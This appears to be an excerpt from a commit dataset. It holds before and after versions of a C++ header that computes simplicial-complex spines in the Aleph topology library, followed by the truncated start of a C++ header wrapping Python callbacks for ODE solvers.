Simplex();\n  else\n    return faces.at( std::distance( admissible.begin(), pos ) );\n}\n\n\/**\n  Calculates all principal faces of a given simplicial complex and\n  returns them.\n*\/\n\ntemplate <class SimplicialComplex> std::unordered_map<typename SimplicialComplex::value_type, typename SimplicialComplex::value_type> principalFaces( const SimplicialComplex& K )\n{\n  using Simplex = typename SimplicialComplex::value_type;\n  auto L        = K;\n\n  std::unordered_map<Simplex, Simplex> admissible;\n\n  \/\/ Step 1: determine free faces --------------------------------------\n  \/\/\n  \/\/ This first checks which simplices have at least one free face,\n  \/\/ meaning that they may be potentially admissible.\n\n  for( auto it = L.begin(); it != L.end(); ++it )\n  {\n    if( it->dimension() == 0 )\n      continue;\n\n    \/\/ The range of the complex M is sufficient because we have\n    \/\/ already encountered all lower-dimensional simplices that\n    \/\/ precede the current one given by `it`.\n    \/\/\n    \/\/ This complex will be used for testing free faces.\n    SimplicialComplex M( L.begin(), it );\n\n    \/\/ FIXME:\n    \/\/\n    \/\/ In case of equal data values, the assignment from above does\n    \/\/ *not* work and will result in incorrect candidates.\n    M = L;\n\n    bool hasFreeFace = false;\n    Simplex freeFace = Simplex();\n\n    for( auto itFace = it->begin_boundary(); itFace != it->end_boundary(); ++itFace )\n    {\n      bool isFace = false;\n      for( auto&& simplex : M )\n      {\n        if( itFace->dimension() + 1 == simplex.dimension() && simplex != *it )\n        {\n          \/\/ The current face must *not* be a face of another simplex in\n          \/\/ the simplicial complex.\n          if( intersect( *itFace, simplex ) == *itFace )\n          {\n            isFace = true;\n            break;\n          }\n        }\n      }\n\n      hasFreeFace = !isFace;\n      if( hasFreeFace )\n      {\n        freeFace = *itFace;\n        break;\n      }\n    }\n\n    if( hasFreeFace )\n      admissible.insert( std::make_pair( *it, freeFace ) );\n  }\n\n  \/\/ Step 2: determine principality ------------------------------------\n  \/\/\n  \/\/ All simplices that are faces of higher-dimensional simplices are\n  \/\/ now removed from the map of admissible simplices.\n\n  for( auto&& s : L )\n  {\n    for( auto itFace = s.begin_boundary(); itFace != s.end_boundary(); ++itFace )\n      admissible.erase( *itFace );\n  }\n\n  return admissible;\n}\n\n} \/\/ namespace dumb\n\n\/\/ ---------------------------------------------------------------------\n\/\/ From this point on, only 'smart' implementations of the spine\n\/\/ calculation will be given. Various optimizations will be used\n\/\/ in order to improve the run-time.\n\/\/ ---------------------------------------------------------------------\n\n\/**\n  Stores coface relationships in a simplicial complex. Given a simplex\n  \\f$\\sigma\\f$, the map contains all of its cofaces. Note that the map\n  will be updated upon every elementary collapse.\n*\/\n\ntemplate <class Simplex> using CofaceMap = std::unordered_map<Simplex, std::unordered_set<Simplex> >;\n\ntemplate <class SimplicialComplex> CofaceMap<typename SimplicialComplex::ValueType> buildCofaceMap( const SimplicialComplex& K )\n{\n  using Simplex   = typename SimplicialComplex::ValueType;\n  using CofaceMap = CofaceMap<Simplex>;\n\n  CofaceMap cofaces;\n  for( auto&& s : K )\n  {\n    \/\/ Adding an *empty* list of cofaces (so far) for this simplex\n    \/\/ simplifies the rest of the code because there is no need to\n    \/\/ check for the existence of a simplex.\n    if( cofaces.find(s) == cofaces.end() )\n      cofaces[s] = {};\n\n    for( auto itFace = s.begin_boundary(); itFace != s.end_boundary(); ++itFace )\n      cofaces[ *itFace ].insert( s );\n  }\n\n  return cofaces;\n}\n\ntemplate <class Simplex> bool isPrincipal( const CofaceMap<Simplex>& cofaces, const Simplex& s )\n{\n  return cofaces.at( s ).empty();\n}\n\ntemplate <class Simplex> Simplex getFreeFace( const CofaceMap<Simplex>& cofaces, const Simplex& s )\n{\n  if( !isPrincipal( cofaces, s ) )\n    return Simplex();\n\n  \/\/ Check whether a free face exists ----------------------------------\n\n  for( auto itFace = s.begin_boundary(); itFace != s.end_boundary(); ++itFace )\n  {\n    auto&& allCofaces = cofaces.at( *itFace );\n    if( allCofaces.size() == 1 && allCofaces.find( s ) != allCofaces.end() )\n      return *itFace;\n  }\n\n  return Simplex();\n}\n\ntemplate <class SimplicialComplex> std::unordered_map<typename SimplicialComplex::value_type, typename SimplicialComplex::value_type> getPrincipalFaces( const CofaceMap<typename SimplicialComplex::ValueType>& cofaces, const SimplicialComplex& K )\n{\n  using Simplex = typename SimplicialComplex::value_type;\n  auto L        = K;\n\n  std::unordered_map<Simplex, Simplex> admissible;\n\n  for( auto&& s : K )\n  {\n    auto freeFace = getFreeFace( cofaces, s );\n    if( freeFace )\n      admissible.insert( std::make_pair( s, freeFace ) );\n  }\n\n  return admissible;\n}\n\n\/**\n  Performs an iterated elementary simplicial collapse until *all* of the\n  admissible simplices have been collapsed. This leads to the *spine* of\n  the simplicial complex.\n\n  @see S. Matveev, \"Algorithmic Topology and Classification of 3-Manifolds\"\n*\/\n\ntemplate <class SimplicialComplex> SimplicialComplex spine( const SimplicialComplex& K )\n{\n  auto L          = K;\n  auto cofaces    = buildCofaceMap( L );\n  auto admissible = getPrincipalFaces( cofaces, L );\n\n  while( !admissible.empty() )\n  {\n    auto s = admissible.begin()->first;\n    auto t = admissible.begin()->second;\n\n    L.remove_without_validation( s );\n    L.remove_without_validation( t );\n\n    admissible.erase( s );\n\n    \/\/ Predicate for removing s and t, the principal simplex with its\n    \/\/ free face, from the coface data structure. This is required in\n    \/\/ order to keep the coface relation up-to-date.\n    using Simplex        = typename SimplicialComplex::ValueType;\n    auto removeSimplices = [&cofaces,&s,&t] ( const Simplex& sigma )\n    {\n      cofaces.at(sigma).erase(s);\n      cofaces.at(sigma).erase(t);\n    };\n\n    std::for_each( s.begin_boundary(), s.end_boundary(), removeSimplices );\n    std::for_each( t.begin_boundary(), t.end_boundary(), removeSimplices );\n\n    \/\/ Both s and t do not have to be stored any more because they\n    \/\/ should not be queried again.\n    cofaces.erase(s);\n    cofaces.erase(t);\n\n    \/\/ New simplices ---------------------------------------------------\n    \/\/\n    \/\/ Add new admissible simplices that may potentially have been\n    \/\/ spawned by the removal of s.\n\n    \/\/ 1. Add all faces of the principal simplex, as they may\n    \/\/    potentially become admissible again.\n    std::vector<Simplex> faces( s.begin_boundary(), s.end_boundary() );\n\n    std::for_each( faces.begin(), faces.end(),\n      [&t, &admissible, &cofaces] ( const Simplex& s )\n      {\n        if( t != s )\n        {\n          auto face = getFreeFace( cofaces, s );\n          if( face )\n            admissible.insert( std::make_pair( s, face ) );\n        }\n      }\n    );\n\n    \/\/ 2. Add all faces of the free face, as they may now themselves\n    \/\/    become admissible.\n    faces.assign( t.begin_boundary(), t.end_boundary() );\n\n    std::for_each( faces.begin(), faces.end(),\n      [&admissible, &cofaces] ( const Simplex& s )\n      {\n        auto face = getFreeFace( cofaces, s );\n        if( face )\n          admissible.insert( std::make_pair( s, face ) );\n      }\n    );\n\n#if 0\n    \/\/ TODO: this check could be simplified by *storing* the free face\n    \/\/ along with the given simplex\n    for( auto itFace = s.begin_boundary(); itFace != s.end_boundary(); ++itFace )\n    {\n      auto t = *itFace;\n\n      if( isAdmissible( s, t, L ) )\n      {\n        L.remove_without_validation( s );\n        L.remove_without_validation( t );\n\n        admissible.erase( s );\n\n        \/\/ New simplices -----------------------------------------------\n        \/\/\n        \/\/ Add new admissible simplices that may potentially have been\n        \/\/ spawned by the removal of s.\n\n        \/\/ 1. Add all faces of the principal simplex, as they may\n        \/\/    potentially become admissible again.\n        std::vector<Simplex> faces( s.begin_boundary(), s.end_boundary() );\n\n        std::for_each( faces.begin(), faces.end(),\n          [&t, &L, &admissible] ( const Simplex& s )\n          {\n            if( t != s && isAdmissible( s, L ) )\n              admissible.insert( s );\n          }\n        );\n\n        \/\/ 2. Add all faces othe free face, as they may now themselves\n        \/\/    become admissible.\n        faces.assign( t.begin_boundary(), t.end_boundary() );\n\n        std::for_each( faces.begin(), faces.end(),\n          [&L, &admissible] ( const Simplex& s )\n          {\n            if( isAdmissible( s, L ) )\n              admissible.insert( s );\n          }\n        );\n\n        hasFreeFace = true;\n        break;\n      }\n    }\n\n    \/\/ The admissible simplex does not have a free face, so it must not\n    \/\/ be used.\n    if( !hasFreeFace )\n      admissible.erase( s );\n#endif\n\n    \/\/ The heuristic above is incapable of detecting *all* principal\n    \/\/ faces of the complex because this may involve searching *all*\n    \/\/ co-faces. Instead, it is easier to fill up the admissible set\n    \/\/ here.\n    if( admissible.empty() )\n      admissible = getPrincipalFaces( cofaces, L );\n  }\n\n  return L;\n}\n\n} \/\/ namespace topology\n\n} \/\/ namespace aleph\n\n#endif\n<commit_msg>Finished 'dumb' implementation of the spine calculation<commit_after>#ifndef ALEPH_TOPOLOGY_SPINE_HH__\n#define ALEPH_TOPOLOGY_SPINE_HH__\n\n#include <aleph\/topology\/Intersections.hh>\n\n#include <algorithm>\n#include <unordered_map>\n#include <set>\n#include <vector>\n\nnamespace aleph\n{\n\nnamespace topology\n{\n\n\/\/ Contains the 'dumbest' implementation for calculating the spine, i.e.\n\/\/ without any optimizations or skips. This will be used as the baseline\n\/\/ for comparisons, but also to check the correctness of the approach.\nnamespace dumb\n{\n\n\/**\n  Checks whether a simplex in a simplicial complex is principal, i.e.\n  whether it is not a proper face of any other simplex in K.\n*\/\n\ntemplate <class SimplicialComplex, class Simplex> bool isPrincipal( const Simplex& s, const SimplicialComplex& K )\n{\n  \/\/ Individual vertices cannot be considered to be principal because\n  \/\/ they do not have a free face.\n  if( s.dimension() == 0 )\n    return false;\n\n  bool principal = true;\n  auto itPair    = K.range( s.dimension() + 1 );\n\n  for( auto it = itPair.first; it != itPair.second; ++it )\n  {\n    auto&& t = *it;\n\n    \/\/ This check assumes that the simplicial complex is valid, so it\n    \/\/ suffices to search faces in one dimension _below_ s. Note that\n    \/\/ the check only has to evaluate the *size* of the intersection,\n    \/\/ as this is sufficient to determine whether a simplex is a face\n    \/\/ of another simplex.\n    if( sizeOfIntersection(s,t) == s.size() )\n      principal = false;\n  }\n\n  return principal;\n}\n\n\/**\n  Checks whether a simplex in a simplicial complex is admissible, i.e.\n  the simplex is *principal* and has at least one free face.\n*\/\n\ntemplate <class SimplicialComplex, class Simplex> Simplex isAdmissible( const Simplex& s, const SimplicialComplex& K )\n{\n  if( !isPrincipal(s,K) )\n    return Simplex();\n\n  \/\/ Check whether a free face exists ----------------------------------\n  \/\/\n  \/\/ This involves iterating over all simplices that have the *same*\n  \/\/ dimension as s, because we are interested in checking whether a\n  \/\/ simplex shares a face of s.\n\n  std::vector<Simplex> faces( s.begin_boundary(), s.end_boundary() );\n  std::vector<bool> admissible( faces.size(), true );\n\n  std::size_t i = 0;\n  auto itPair   = K.range( s.dimension() ); \/\/ valid range for searches, viz. *all*\n                                            \/\/ faces in \"one dimension up\"\n\n  for( auto&& face : faces )\n  {\n    for( auto it = itPair.first; it != itPair.second; ++it )\n    {\n      auto&& t = *it;\n\n      \/\/ We do not have to check for intersections with the original\n      \/\/ simplex from which we started---we already know that we are\n      \/\/ a face.\n      if( t != s )\n      {\n        if( sizeOfIntersection(face,t) == face.size() )\n        {\n          admissible[i] = false;\n          break;\n        }\n      }\n    }\n\n    ++i;\n  }\n\n  \/\/ Return the free face if possible; as usual, an empty return value\n  \/\/ indicates that we did not find such a face. Note that the call to\n  \/\/ the `find()` function prefers the lexicographically smallest one,\n  \/\/ which ensures consistency.\n  auto pos = std::find( admissible.begin(), admissible.end(), true );\n  if( pos == admissible.end() )\n    return Simplex();\n  else\n    return faces.at( std::distance( admissible.begin(), pos ) );\n}\n\n\/**\n  Calculates all principal faces of a given simplicial complex and\n  returns them.\n*\/\n\ntemplate <class SimplicialComplex> std::unordered_map<typename SimplicialComplex::value_type, typename SimplicialComplex::value_type> principalFaces( const SimplicialComplex& K )\n{\n  using Simplex = typename SimplicialComplex::value_type;\n  auto L        = K;\n\n  std::unordered_map<Simplex, Simplex> admissible;\n\n  \/\/ Step 1: determine free faces --------------------------------------\n  \/\/\n  \/\/ This first checks which simplices have at least one free face,\n  \/\/ meaning that they may be potentially admissible.\n\n  for( auto it = L.begin(); it != L.end(); ++it )\n  {\n    if( it->dimension() == 0 )\n      continue;\n\n    \/\/ The range of the complex M is sufficient because we have\n    \/\/ already encountered all lower-dimensional simplices that\n    \/\/ precede the current one given by `it`.\n    \/\/\n    \/\/ This complex will be used for testing free faces.\n    SimplicialComplex M( L.begin(), it );\n\n    \/\/ FIXME:\n    \/\/\n    \/\/ In case of equal data values, the assignment from above does\n    \/\/ *not* work and will result in incorrect candidates.\n    M = L;\n\n    bool hasFreeFace = false;\n    Simplex freeFace = Simplex();\n\n    for( auto itFace = it->begin_boundary(); itFace != it->end_boundary(); ++itFace )\n    {\n      bool isFace = false;\n      for( auto&& simplex : M )\n      {\n        if( itFace->dimension() + 1 == simplex.dimension() && simplex != *it )\n        {\n          \/\/ The current face must *not* be a face of another simplex in\n          \/\/ the simplicial complex.\n          if( intersect( *itFace, simplex ) == *itFace )\n          {\n            isFace = true;\n            break;\n          }\n        }\n      }\n\n      hasFreeFace = !isFace;\n      if( hasFreeFace )\n      {\n        freeFace = *itFace;\n        break;\n      }\n    }\n\n    if( hasFreeFace )\n      admissible.insert( std::make_pair( *it, freeFace ) );\n  }\n\n  \/\/ Step 2: determine principality ------------------------------------\n  \/\/\n  \/\/ All simplices that are faces of higher-dimensional simplices are\n  \/\/ now removed from the map of admissible simplices.\n\n  for( auto&& s : L )\n  {\n    for( auto itFace = s.begin_boundary(); itFace != s.end_boundary(); ++itFace )\n      admissible.erase( *itFace );\n  }\n\n  return admissible;\n}\n\n\/**\n  Performs an iterated elementary simplicial collapse until *all* of the\n  admissible simplices have been collapsed. This leads to the *spine* of\n  the simplicial complex.\n\n  Notice that this is the *dumbest* possible implementation, as no state\n  will be stored, and the search for new principal faces starts fresh in\n  every iteration.\n\n  This implementation is useful to check improved algorithms.\n\n  @see S. Matveev, \"Algorithmic Topology and Classification of 3-Manifolds\"\n*\/\n\ntemplate <class SimplicialComplex> SimplicialComplex spine( const SimplicialComplex& K )\n{\n  auto L          = K;\n  auto admissible = principalFaces( L );\n\n  while( !admissible.empty() )\n  {\n    auto s = admissible.begin()->first;\n    auto t = admissible.begin()->second;\n\n    L.remove_without_validation( s );\n    L.remove_without_validation( t );\n\n    admissible = principalFaces( L );\n  }\n\n  return L;\n}\n\n} \/\/ namespace dumb\n\n\/\/ ---------------------------------------------------------------------\n\/\/ From this point on, only 'smart' implementations of the spine\n\/\/ calculation will be given. Various optimizations will be used\n\/\/ in order to improve the run-time.\n\/\/ ---------------------------------------------------------------------\n\n\/**\n  Stores coface relationships in a simplicial complex. Given a simplex\n  \\f$\\sigma\\f$, the map contains all of its cofaces. Note that the map\n  will be updated upon every elementary collapse.\n*\/\n\ntemplate <class Simplex> using CofaceMap = std::unordered_map<Simplex, std::unordered_set<Simplex> >;\n\ntemplate <class SimplicialComplex> CofaceMap<typename SimplicialComplex::ValueType> buildCofaceMap( const SimplicialComplex& K )\n{\n  using Simplex   = typename SimplicialComplex::ValueType;\n  using CofaceMap = CofaceMap<Simplex>;\n\n  CofaceMap cofaces;\n  for( auto&& s : K )\n  {\n    \/\/ Adding an *empty* list of cofaces (so far) for this simplex\n    \/\/ simplifies the rest of the code because there is no need to\n    \/\/ check for the existence of a simplex.\n    if( cofaces.find(s) == cofaces.end() )\n      cofaces[s] = {};\n\n    for( auto itFace = s.begin_boundary(); itFace != s.end_boundary(); ++itFace )\n      cofaces[ *itFace ].insert( s );\n  }\n\n  return cofaces;\n}\n\ntemplate <class Simplex> bool isPrincipal( const CofaceMap<Simplex>& cofaces, const Simplex& s )\n{\n  return cofaces.at( s ).empty();\n}\n\ntemplate <class Simplex> Simplex getFreeFace( const CofaceMap<Simplex>& cofaces, const Simplex& s )\n{\n  if( !isPrincipal( cofaces, s ) )\n    return Simplex();\n\n  \/\/ Check whether a free face exists ----------------------------------\n\n  for( auto itFace = s.begin_boundary(); itFace != s.end_boundary(); ++itFace )\n  {\n    auto&& allCofaces = cofaces.at( *itFace );\n    if( allCofaces.size() == 1 && allCofaces.find( s ) != allCofaces.end() )\n      return *itFace;\n  }\n\n  return Simplex();\n}\n\ntemplate <class SimplicialComplex> std::unordered_map<typename SimplicialComplex::value_type, typename SimplicialComplex::value_type> getPrincipalFaces( const CofaceMap<typename SimplicialComplex::ValueType>& cofaces, const SimplicialComplex& K )\n{\n  using Simplex = typename SimplicialComplex::value_type;\n  auto L        = K;\n\n  std::unordered_map<Simplex, Simplex> admissible;\n\n  for( auto&& s : K )\n  {\n    auto freeFace = getFreeFace( cofaces, s );\n    if( freeFace )\n      admissible.insert( std::make_pair( s, freeFace ) );\n  }\n\n  return admissible;\n}\n\n\/**\n  Performs an iterated elementary simplicial collapse until *all* of the\n  admissible simplices have been collapsed. This leads to the *spine* of\n  the simplicial complex.\n\n  @see S. Matveev, \"Algorithmic Topology and Classification of 3-Manifolds\"\n*\/\n\ntemplate <class SimplicialComplex> SimplicialComplex spine( const SimplicialComplex& K )\n{\n  auto L          = K;\n  auto cofaces    = buildCofaceMap( L );\n  auto admissible = getPrincipalFaces( cofaces, L );\n\n  while( !admissible.empty() )\n  {\n    auto s = admissible.begin()->first;\n    auto t = admissible.begin()->second;\n\n    L.remove_without_validation( s );\n    L.remove_without_validation( t );\n\n    admissible.erase( s );\n\n    \/\/ Predicate for removing s and t, the principal simplex with its\n    \/\/ free face, from the coface data structure. This is required in\n    \/\/ order to keep the coface relation up-to-date.\n    using Simplex        = typename SimplicialComplex::ValueType;\n    auto removeSimplices = [&cofaces,&s,&t] ( const Simplex& sigma )\n    {\n      cofaces.at(sigma).erase(s);\n      cofaces.at(sigma).erase(t);\n    };\n\n    std::for_each( s.begin_boundary(), s.end_boundary(), removeSimplices );\n    std::for_each( t.begin_boundary(), t.end_boundary(), removeSimplices );\n\n    \/\/ Both s and t do not have to be stored any more because they\n    \/\/ should not be queried again.\n    cofaces.erase(s);\n    cofaces.erase(t);\n\n    \/\/ New simplices ---------------------------------------------------\n    \/\/\n    \/\/ Add new admissible simplices that may potentially have been\n    \/\/ spawned by the removal of s.\n\n    \/\/ 1. Add all faces of the principal simplex, as they may\n    \/\/    potentially become admissible again.\n    std::vector<Simplex> faces( s.begin_boundary(), s.end_boundary() );\n\n    std::for_each( faces.begin(), faces.end(),\n      [&t, &admissible, &cofaces] ( const Simplex& s )\n      {\n        if( t != s )\n        {\n          auto face = getFreeFace( cofaces, s );\n          if( face )\n            admissible.insert( std::make_pair( s, face ) );\n        }\n      }\n    );\n\n    \/\/ 2. Add all faces of the free face, as they may now themselves\n    \/\/    become admissible.\n    faces.assign( t.begin_boundary(), t.end_boundary() );\n\n    std::for_each( faces.begin(), faces.end(),\n      [&admissible, &cofaces] ( const Simplex& s )\n      {\n        auto face = getFreeFace( cofaces, s );\n        if( face )\n          admissible.insert( std::make_pair( s, face ) );\n      }\n    );\n\n#if 0\n    \/\/ TODO: this check could be simplified by *storing* the free face\n    \/\/ along with the given simplex\n    for( auto itFace = s.begin_boundary(); itFace != s.end_boundary(); ++itFace )\n    {\n      auto t = *itFace;\n\n      if( isAdmissible( s, t, L ) )\n      {\n        L.remove_without_validation( s );\n        L.remove_without_validation( t );\n\n        admissible.erase( s );\n\n        \/\/ New simplices -----------------------------------------------\n        \/\/\n        \/\/ Add new admissible simplices that may potentially have been\n        \/\/ spawned by the removal of s.\n\n        \/\/ 1. Add all faces of the principal simplex, as they may\n        \/\/    potentially become admissible again.\n        std::vector<Simplex> faces( s.begin_boundary(), s.end_boundary() );\n\n        std::for_each( faces.begin(), faces.end(),\n          [&t, &L, &admissible] ( const Simplex& s )\n          {\n            if( t != s && isAdmissible( s, L ) )\n              admissible.insert( s );\n          }\n        );\n\n        \/\/ 2. Add all faces othe free face, as they may now themselves\n        \/\/    become admissible.\n        faces.assign( t.begin_boundary(), t.end_boundary() );\n\n        std::for_each( faces.begin(), faces.end(),\n          [&L, &admissible] ( const Simplex& s )\n          {\n            if( isAdmissible( s, L ) )\n              admissible.insert( s );\n          }\n        );\n\n        hasFreeFace = true;\n        break;\n      }\n    }\n\n    \/\/ The admissible simplex does not have a free face, so it must not\n    \/\/ be used.\n    if( !hasFreeFace )\n      admissible.erase( s );\n#endif\n\n    \/\/ The heuristic above is incapable of detecting *all* principal\n    \/\/ faces of the complex because this may involve searching *all*\n    \/\/ co-faces. Instead, it is easier to fill up the admissible set\n    \/\/ here.\n    if( admissible.empty() )\n      admissible = getPrincipalFaces( cofaces, L );\n  }\n\n  return L;\n}\n\n} \/\/ namespace topology\n\n} \/\/ namespace aleph\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <Python.h>\n#include <numpy\/arrayobject.h>\n#include <anyode\/anyode.hpp>\n\nBEGIN_NAMESPACE(AnyODE)\nstruct PyOdeSys : public AnyODE::OdeSysBase<double> {\n    int ny;\n    PyObject *py_rhs, *py_jac, *py_quads, *py_roots, *py_kwargs, *py_dx0cb, *py_dx_max_cb;\n    int mlower, mupper, nquads, nroots;\n    PyOdeSys(int ny, PyObject * py_rhs, PyObject * py_jac=nullptr, PyObject * py_quads=nullptr,\n             PyObject * py_roots=nullptr, PyObject * py_kwargs=nullptr, int mlower=-1,\n             int mupper=-1, int nquads=0, int nroots=0, PyObject * py_dx0cb=nullptr,\n             PyObject * py_dx_max_cb=nullptr) :\n        ny(ny), py_rhs(py_rhs), py_jac(py_jac), py_quads(py_quads), py_roots(py_roots),\n        py_kwargs(py_kwargs), py_dx0cb(py_dx0cb), py_dx_max_cb(py_dx_max_cb),\n        mlower(mlower), mupper(mupper), nquads(nquads), nroots(nroots)\n    {\n        if (py_rhs == nullptr){\n            throw std::runtime_error(\"py_rhs must not be nullptr\");\n        }\n        if ((py_dx_max_cb != nullptr) && (py_dx_max_cb != Py_None)) {\n            this->use_get_dx_max = true;\n        }\n        Py_INCREF(py_rhs);\n        Py_XINCREF(py_jac);\n        Py_XINCREF(py_quads);\n        Py_XINCREF(py_roots);\n        if (py_kwargs == Py_None){\n            Py_DECREF(Py_None);\n            this->py_kwargs = nullptr;\n        } else {\n            Py_XINCREF(py_kwargs);\n        }\n    }\n    virtual ~PyOdeSys() {\n        Py_DECREF(py_rhs);\n        Py_XDECREF(py_jac);\n        Py_XDECREF(py_quads);\n        Py_XDECREF(py_roots);\n        Py_XDECREF(py_kwargs);\n    }\n    int get_ny() const override { return ny; }\n    int get_mlower() const override { return mlower; }\n    int get_mupper() const override { return mupper; }\n    int get_nquads() const override { return nquads; }\n    int get_nroots() const override { return nroots; }\n    double get_dx0(double t, const double * const y) override {\n        if (py_dx0cb == nullptr or py_dx0cb == Py_None) {\n            return default_dx0;\n        }\n        npy_intp dims[1] { static_cast<npy_intp>(this->ny) } ;\n        const auto type_tag = NPY_DOUBLE;\n        PyObject * py_yarr = PyArray_SimpleNewFromData(\n            1, dims, type_tag, static_cast<void*>(const_cast<double*>(y)));\n        PyArray_CLEARFLAGS(reinterpret_cast<PyArrayObject*>(py_yarr), NPY_ARRAY_WRITEABLE);  \/\/ make yarr read-only\n        PyObject * py_arglist = Py_BuildValue(\"(dO)\", (double)(t), py_yarr);\n        PyObject * py_result = PyEval_CallObjectWithKeywords(this->py_dx0cb, py_arglist, this->py_kwargs);\n        Py_DECREF(py_arglist);\n        Py_DECREF(py_yarr);\n        if (py_result == nullptr) {\n            throw std::runtime_error(\"get_dx0 failed (dx0cb failed)\");\n        }\n        double res = PyFloat_AsDouble(py_result);\n        Py_DECREF(py_result);\n        if ((PyErr_Occurred()) && (res == -1.0)) {\n            throw std::runtime_error(\"get_dx0 failed (value returned by dx0cb could not be converted to float)\");\n        }\n        return res;\n    }\n    double get_dx_max(double t, const double * const y) override {\n        if (py_dx_max_cb == nullptr or py_dx_max_cb == Py_None) {\n            return INFINITY;\n        }\n        npy_intp dims[1] { static_cast<npy_intp>(this->ny) } ;\n        const auto type_tag = NPY_DOUBLE;\n        PyObject * py_yarr = PyArray_SimpleNewFromData(\n            1, dims, type_tag, static_cast<void*>(const_cast<double*>(y)));\n        PyArray_CLEARFLAGS(reinterpret_cast<PyArrayObject*>(py_yarr), NPY_ARRAY_WRITEABLE);  \/\/ make yarr read-only\n        PyObject * py_arglist = Py_BuildValue(\"(dO)\", (double)(t), py_yarr);\n        PyObject * py_result = PyEval_CallObjectWithKeywords(this->py_dx_max_cb, py_arglist, this->py_kwargs);\n        Py_DECREF(py_arglist);\n        Py_DECREF(py_yarr);\n        if (py_result == nullptr) {\n            throw std::runtime_error(\"get_dx_max failed (dx_max_cb failed)\");\n        }\n        double res = PyFloat_AsDouble(py_result);\n        Py_DECREF(py_result);\n        if (PyErr_Occurred() && (res == -1.0)) {\n            throw std::runtime_error(\"get_dx_max failed (value returned by dx_max_cb could not be converted to float)\");\n        }\n        return res;\n    }\n    Status handle_status_(PyObject * py_result, const std::string what_arg){\n        if (py_result == nullptr){\n            throw std::runtime_error(what_arg + \" failed\");\n        } else if (py_result == Py_None){\n            Py_DECREF(py_result);\n            return AnyODE::Status::success;\n        }\n        long result = PyInt_AsLong(py_result);\n        Py_DECREF(py_result);\n\n\n        if ((PyErr_Occurred() && (result == -1)) or\n            (result == static_cast<long int>(AnyODE::Status::unrecoverable_error))) {\n            return AnyODE::Status::unrecoverable_error;\n        } else if (result == static_cast<long int>(AnyODE::Status::recoverable_error)) {\n            return AnyODE::Status::recoverable_error;\n        } else if (result == static_cast<long int>(AnyODE::Status::success)) {\n            return AnyODE::Status::success;\n        }\n        throw std::runtime_error(what_arg + \" did not return None, -1, 0 or 1\");\n    }\n    Status rhs(double t, const double * const y, double * const dydt) override {\n        npy_intp dims[1] { static_cast<npy_intp>(this->ny) } ;\n        const auto type_tag = NPY_DOUBLE;\n        PyObject * py_yarr = PyArray_SimpleNewFromData(\n            1, dims, type_tag, static_cast<void*>(const_cast<double*>(y)));\n        PyObject * py_dydt = PyArray_SimpleNewFromData(\n            1, dims, type_tag, static_cast<void*>(dydt));\n        PyArray_CLEARFLAGS(reinterpret_cast<PyArrayObject*>(py_yarr), NPY_ARRAY_WRITEABLE);  \/\/ make yarr read-only\n        PyObject * py_arglist = Py_BuildValue(\"(dOO)\", (double)(t), py_yarr, py_dydt);\n        PyObject * py_result = PyEval_CallObjectWithKeywords(this->py_rhs, py_arglist, this->py_kwargs);\n        Py_DECREF(py_arglist);\n        Py_DECREF(py_dydt);\n        Py_DECREF(py_yarr);\n        this->nfev++;\n        return handle_status_(py_result, \"rhs\");\n    }\n    AnyODE::Status quads(double t, const double * const y, double * const out) override {\n        npy_intp ydims[1] { static_cast<npy_intp>(this->ny) };\n        npy_intp rdims[1] { static_cast<npy_intp>(this->get_nquads()) };\n        const auto type_tag = NPY_DOUBLE;\n        PyObject * py_yarr = PyArray_SimpleNewFromData(\n            1, ydims, type_tag, static_cast<void*>(const_cast<double*>(y)));\n        PyObject * py_out = PyArray_SimpleNewFromData(\n            1, rdims, type_tag, static_cast<void*>(out));\n        PyArray_CLEARFLAGS(reinterpret_cast<PyArrayObject*>(py_yarr), NPY_ARRAY_WRITEABLE);  \/\/ make yarr read-only\n        PyObject * py_arglist = Py_BuildValue(\"(dOO)\", t, py_yarr, py_out);\n        PyObject * py_result = PyEval_CallObjectWithKeywords(this->py_quads, py_arglist, this->py_kwargs);\n        Py_DECREF(py_arglist);\n        Py_DECREF(py_out);\n        Py_DECREF(py_yarr);\n        return handle_status_(py_result, \"quads\");\n    }\n    AnyODE::Status roots(double t, const double * const y, double * const out) override {\n        npy_intp ydims[1] { static_cast<npy_intp>(this->ny) };\n        npy_intp rdims[1] { static_cast<npy_intp>(this->get_nroots()) };\n        const auto type_tag = NPY_DOUBLE;\n        PyObject * py_yarr = PyArray_SimpleNewFromData(\n            1, ydims, type_tag, static_cast<void*>(const_cast<double*>(y)));\n        PyObject * py_out = PyArray_SimpleNewFromData(\n            1, rdims, type_tag, static_cast<void*>(out));\n        PyArray_CLEARFLAGS(reinterpret_cast<PyArrayObject*>(py_yarr), NPY_ARRAY_WRITEABLE);  \/\/ make yarr read-only\n        PyObject * py_arglist = Py_BuildValue(\"(dOO)\", t, py_yarr, py_out);\n        PyObject * py_result = PyEval_CallObjectWithKeywords(this->py_roots, py_arglist, this->py_kwargs);\n        Py_DECREF(py_arglist);\n        Py_DECREF(py_out);\n        Py_DECREF(py_yarr);\n        return handle_status_(py_result, \"roots\");\n    }\n    AnyODE::Status call_py_jac(double t, const double * const y, const double * const fy,\n                               PyObject * py_jmat, double * const dfdt){\n        npy_intp ydims[1] { static_cast<npy_intp>(this->ny) };\n        const auto type_tag = NPY_DOUBLE;\n        PyObject * py_yarr = PyArray_SimpleNewFromData(1, ydims, type_tag, const_cast<double *>(y));\n        PyArray_CLEARFLAGS(reinterpret_cast<PyArrayObject*>(py_yarr), NPY_ARRAY_WRITEABLE);  \/\/ make yarr read-only\n        PyObject * py_dfdt = (dfdt == nullptr) ? Py_BuildValue(\"\") : PyArray_SimpleNewFromData(\n            1, ydims, type_tag, static_cast<void*>(dfdt));\n        PyObject * py_fy;\n        if (fy) {\n            py_fy = PyArray_SimpleNewFromData(1, ydims, type_tag, const_cast<double *>(fy));\n            PyArray_CLEARFLAGS(reinterpret_cast<PyArrayObject*>(py_fy), NPY_ARRAY_WRITEABLE);  \/\/ make fy read-only\n        } else {\n            py_fy = Py_BuildValue(\"\"); \/\/ Py_None with incref\n        }\n        \/\/ Call jac with signature: (t, y[:], Jmat[:, :], dfdt[:]=None, fy[:]=None)\n        \/\/ (NumPy takes cares of row vs. column major ordering. User responsible for dense\/banded.)\n        PyObject * py_arglist = Py_BuildValue(\"(dOOOO)\", (double)t, py_yarr, py_jmat, py_dfdt, py_fy);\n        PyObject * py_result = PyEval_CallObjectWithKeywords(this->py_jac, py_arglist, this->py_kwargs);\n        Py_DECREF(py_arglist);\n        Py_DECREF(py_fy);\n        